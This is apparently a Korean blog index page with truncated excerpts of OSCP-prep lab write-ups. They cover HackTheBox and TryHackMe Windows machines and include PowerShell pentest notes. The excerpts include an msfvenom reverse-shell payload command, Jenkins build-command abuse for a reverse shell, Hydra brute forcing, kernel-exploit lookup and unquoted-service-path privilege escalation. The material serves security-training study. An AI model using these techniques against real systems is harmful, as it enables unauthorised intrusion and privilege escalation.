파워쉘 7

[Windows] Chatterbox

Chatterbox- Exploit POC 스크립트를 수정하는 법을 알아야함- 파워쉘 명령어에 익숙해야함 Achat.exe에 대한 exploit이 존재함=> 페이로드 poc가 cmd 실행으로 되어있어서 리버스 쉘 옵션으로 교체함그 외 배드캐릭터 옵션과 인코딩 등 다른 옵션들은 그대로 사용 msfvenom -a x86 platform windows -p windows/shell_reverse_tcplhost=... lport=... -e x86/unicode_mixed -b "\x00...." BufferRegister=EAX -f python 완성된 쉘코드를 파이썬 스크립트 상에서 교체 후 타겟 IP와 포트 확인 후 변경하여 Exploit +POC 분석에 대하여 1152 - len(Payload)이 코드..

OSCP/HackTheBox 2020.09.24

[Windows] Optimum

커널 익스플로잇 windows exploit suggester 공격 대상 systeminfo 결과 복사 후 로컬에 systeminfo.txt 생성 * hotfix 정보까지 저장해야 missing-patch 취약점도 찾아낼 수 있다. cmd> systeminfo I found some Hotfix's A hotfix or quick-fix engineering update is a single, cumulative package that includes information that is used to address a problem in a software product. DB업데이트 python windows-exploit-suggester.py --update Exploit 검색 python wind..

OSCP/HackTheBox 2020.05.21

Hacking with Powershell

Hacking with Powershell 키 포인트 정리 * Property는 필드와 같은 의미며 생략할 수 있다. * 싱글쿼터를 사용시 에러가 발생한다. * 파워 쉘은 객체를 사용한다. * 명령어에 대한 약어를 제공한다. get-help 로 확인가능 일반적으로 자주 사용되는 verb * 리스트 확인: > get-verb - Get - Start - Stop - Read - Write - New - Out Using Get-Help >Get-Help Command-Name Using Get-Command Get-Command는 현재 컴퓨터에 설치된 모든 cmdlet을 가져옵니다. 이 cmdlet의 장점은 다음과 같은 패턴 일치를 허용한다는 것입니다. Get-Command Verb-* or Get-Com..

OSCP/TryHackMe 2020.05.06

[Windows] HackPark

HackPark Bruteforce a websites login with Hydra, identify and use a public exploit then escalate your privileges on this Windows machine! 1. 익스플로잇-DB 설명 잘 해석하여 StepByStep 따라하기 2. 윈도우에 파워쉘이 설치되어 있으면 wget처럼 다운로드가 쉽다. 3. 권한상승을 위해 winPEAS 또는 파워업 쉘을 활용하자. 4. 페이로드 주입시 미터프리터, 커맨드 쉘 둘다 시도해 보자. 5. 히드라 브루트포스시 필수 파라미터 다 입력해줘야 한다. 더블쿼트 사용시 버그발생함, 싱글쿼트만 사용하자. Flow 정리 1. 정보수집 홈페이지 -> admin 브루트포스(히드라) -> CMS 정..

OSCP/TryHackMe 2020.04.20

파워 쉘 for 침투테스트-1

실행정책 체크 가장 먼저해야 될 일은 파워 쉘 스크립트 파일(.ps1)을 실행 가능한지 체크하는 것이다. cmd> powershell Get-ExecutionPolicy 보안상의 이유로 스크립트 실행에 대한 기본 정책은 Restricted입니다. 다른 스크립트 정책은 다음과 같습니다. Restricted: 파워쉘은 어떤 스크립트든 실행할 수 없다. (파워쉘의 디폴트 실행 정책) Bypass: 어떤 것도 차단되지 않으며 경고나 프롬프트가 없습니다. AllSigned: PowerShell: 디지털 서명으로 서명 된 스크립트 만 실행합니다. 게시자가 서명 한 스크립트를 실행하면 PowerShell은 이전에 보지 못했지만 PowerShell은 스크립트의 게시자를 신뢰할지 묻습니다. RemoteSigned: Po..

OSCP/시험대비 2020.04.16

[Windows] Alfred

Alfred Exploit Jenkins to gain an initial shell, then escalate your privileges by exploiting Windows authentication tokens. 잰킨스 Exploit 잰킨스는 project 옵션 -> configure -> build -> windows batch command 를 통해 쉘을 설정하고 build now를 클릭하여 원하는 명령을 실행할 수 있었다. 이를 이용해 잰킨스 관리자 계정을 알고있으면 시스템의 리버스 쉘을 획득할 수있다. 공격 Flow 1. Nishang 파워 쉘 다운 후 바로 nc로 리버스 연결 2. 미터프리터로 쉘 스위치 (권한상승을 더 쉽게 하기 위함) - venom으로 생성 후 다시 잰킨스에서 리버스..

OSCP/TryHackMe 2020.04.16

[Windows] Steel Mountain

Steel Mountain Hack into a Mr. Robot themed Windows machine. Use metasploit for initial access, utilise powershell for Windows privilege escalation enumeration and learn a new technique to get Administrator access Unquoted Service Path (밑에 자세히 섫명함) [C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe] IObit 폴더에 Advanced.exe 파일을 업로드하는 이유. - 서비스 실행 경로에서 문자열인 Advanced가 스페이스에 의해 짤리게 되고 여..

OSCP/TryHackMe 2020.04.14